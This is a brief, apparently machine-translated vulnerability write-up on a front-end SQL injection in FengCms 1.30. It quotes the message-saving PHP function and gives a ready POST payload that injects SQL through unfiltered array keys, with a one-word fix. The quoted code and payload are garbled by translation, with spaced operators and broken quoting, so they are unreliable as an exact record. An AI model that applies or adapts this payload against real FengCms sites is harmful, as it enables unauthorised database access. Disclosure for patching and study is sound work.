FengCms1.30 injection (front-end)

FengCms1.30 injection (front-end)

Http://www.fengcms.com/

App \ model \ messageModel. php

public function save($array){if($_SESSION['authnum']!=$array['vcode']||$_SESSION['authnum']==""){ return array('status' => 'c');exit;}unset($array['vcode']);$re=D($this->d_name)->insert($array);if($re){$_SESSION['authnum']="";return array('status' => 'y','id' => $re);}else{return array('status' => 'n','id' => $re);}

$ Re = D ($ this-> d_name)-> insert ($ array );

The array key is not filtered.

Escape is ignored in reverse quotation marks.

Pyload:

POST /? Controller = message & operate = save

Title ', 'name', 'qq', 'tel', 'mail', 'content', 'time') values (user (), qq, qq, qq, 1426038685 ); # insert/**/into/**/'f _ message'/**/('title = testsql & name = & qq = & tel = & mail = & content = aaaaaaaaaaaa & vcode = vzyd & time = 1426039319

 

 

 

 

Solution:

Filter ~